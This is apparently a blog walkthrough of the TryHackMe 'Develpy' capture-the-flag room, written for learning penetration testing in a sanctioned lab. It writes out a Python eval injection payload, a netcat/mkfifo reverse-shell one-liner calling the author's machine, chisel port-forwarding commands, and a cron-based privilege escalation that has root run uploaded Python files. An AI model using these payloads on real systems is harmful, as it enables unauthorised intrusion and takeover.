6 minutes
Develpy - Tryhackme
Hey!
Through this article, I’m gonna be outlining the steps I took in dealing with this Tryhackme room. This was a pretty interesting one,
and I did fall into one of the rabbit holes that extended the time that it took me to solve significantly:(. I also noted all the things I could have done better in the quoted strings
The challenge is:
Goal: read user.txt and root.txt
Enumeration
Like with any box we start off with the good ol’ enumeration of the box using rustscan as follows:
rustscan -a 10.10.96.11 --ulimit 5000 -- -sC -sV -oN scan.txt
Only two ports are open:( :
Open 10.10.96.11:22
Open 10.10.96.11:10000
... truncated ...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu
... truncated ...
10000/tcp open snet-sensor-mgmt? syn-ack
| fingerprint-strings:
| GenericLines:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 0
| SyntaxError: unexpected EOF while parsing
Exploring port 10000
Clearly the most interesting port is 10000
, looks like a situation to utilize netcat
──(kali㉿kali)-[~/thm/Develpy]
└─$ nc -nv 10.10.96.11 10000
(UNKNOWN) [10.10.96.11] 10000 (webmin) open
Private 0days
Please enther number of exploits to send??: 5
Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.081 ms
Exploiting tryhackme internal network: beacons_seq=2 ttl=1337 time=0.050 ms
Exploiting tryhackme internal network: beacons_seq=3 ttl=1337 time=0.067 ms
Exploiting tryhackme internal network: beacons_seq=4 ttl=1337 time=0.019 ms
Exploiting tryhackme internal network: beacons_seq=5 ttl=1337 time=0.036 ms
Hmmm…. the main functionality seems to simply ping some endpoint on the internal network. Looking at this, seems like some type of injection may be useful ¯\_(ツ)_/¯
While scouring around I came across these two links that prove useful in actually injecting code:
-
https://www.stackhawk.com/blog/command-injection-python/
- The line that caught my eye:
-
The input() function is the means by which a Python script can read user input into a variable. In Python 2.x, the input() function is equivalent to eval(raw_input).
-
http://vipulchaskar.blogspot.com/2012/10/exploiting-eval-function-in-python.html
- Led me to utilizing this commandline:
__import__('os').system('ls -la; whoami')
- Result:
From here, I was able to quickly get the user.txt file: using __import__('os').system('cat user.txt')
Shell Time
Now that we know that we are able to run commands like we are on the box, decided to spawn a revshell using
#listen
nc -nvlp 1337
#spawn the shell
__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <my tun0 ip> 1337 >/tmp/f')
So sidenote, right around here is where I went down the rabbit hole and was trying various steganography tools against the image
credentials.png
don’t ask me why 🥲. Only ran after the rabbit due to having hit a ctf challenge where that was the case:(. But we live and learn
Elevating Privileges
So after running after the rabbit, I went back to properly review the things available to me to look at as the king
user.
Looking through these files looked interesting:
Especially when you coincide with the [crontab]/(https://man7.org/linux/man-pages/man5/crontab.5.html) entries:
Basically the root.sh
and run.sh
are getting run every minute. But looking at the permissions on both files, the only file that we are able to modify is the run.sh
file.
Contents of run.sh
:
Contents of root.sh
:
Not sure of what we can do with that, because the user the job for that file is run as king
, which would not elevate my perms. With the root.sh
file, I don’t have perms to write. “So what do I do😔”, I asked.
The /root/company
began to look more interesting although I clearly did not have access, meaning there must be something else I was missing.
Decided to finally run good ole linpeas.sh at this point. I know, I know should have run it much earlier😭.
May have also caught it earlier if I had run pspy in the background.
What stood out was the process tree. The output was one from one of the cronjobs running and would you believe it’s the one we don’t have access to as king
normally.
root 748 570 0 14:17 ? 00:00:00 \_ /usr/sbin/CRON -f
root 754 748 0 14:17 ? 00:00:00 \_ /bin/sh -c cd /root/company && bash run.sh
root 756 754 0 14:17 ? 00:00:00 \_ bash run.sh
root 757 756 0 14:17 ? 00:00:01 \_ python3 manage.py runserver 127.0.0.1:8080
root 764 757 1 14:17 ? 00:00:28 \_ /usr/bin/python3 manage.py runserver 127.0.0.1:8080
Here we clearly see that there is a port, 8080
that is only exposed on the loopback interfaces and was not
caught in the rustscan scan.
Would have caught it if I went with the basic step of
netstat -atn
to see what tcp sockets(in this case) are in use.
Chiseling my way through
Given that the port was only opened within the box, decided to try a simple curl to get an idea of what was running on port 8080
:
LOL.
Atleast
wget
was available for use:
The /upload
endpoint caught my eye and led me to try to create a tunnel of some to be able to access the webpage.
This is because if we can get a .py
into the
directory named /root/company/media/
shown in the root.sh
file, then we are golden!!
Reverse Chiseling
- Downloaded and uploaded the chisel] utility
- Got this version because
- Got this version because
Got the utility onto the remote server using
wget
on the remote machine along with runningpython3 -m http.server 80
on my local machine to expose the contents of the directory to the remote server
-
On my machine I got the same version and ran
./chisel server -p 10000 --reverse
to open up a port to listen on to create the tunnel connection to the remote server. -
On the remote server ran
./chisel client <my tun0 ip>:10000 R:8080:127.0.0.1:8080
to forward port 8080 on the localhost to port 8080 on my local machine -
When connected the last line in the image below shows up!
Explore the web page
Navigating to http://localhost:8080/
on my local machine we see:
Testing out some random uploads, we see that the files are getting dropped in a /media
directory.
Here I infer that this may be the same one as /root/company/media/
.
ROOT Flag
Decided to try uploading some python files to test the limits.
import os
os.system("echo name >> /home/king/test.txt")
This got uploaded successfully, waited a minute annnnndd….. We gooooodddd! File got created and contents were as expected
Sent this to quickly get the root flag:
import os
os.system("cat /root/root.txt > /home/king/root.txt")
Tried a few things to try get a root shell from there using a reverse shell but had no luck
But Atleast, I did get the root flag and could have done something like updating the root.sh
file with a revshell cmdline. Will probably try that later again:). But that will be all! Hopefully this was useful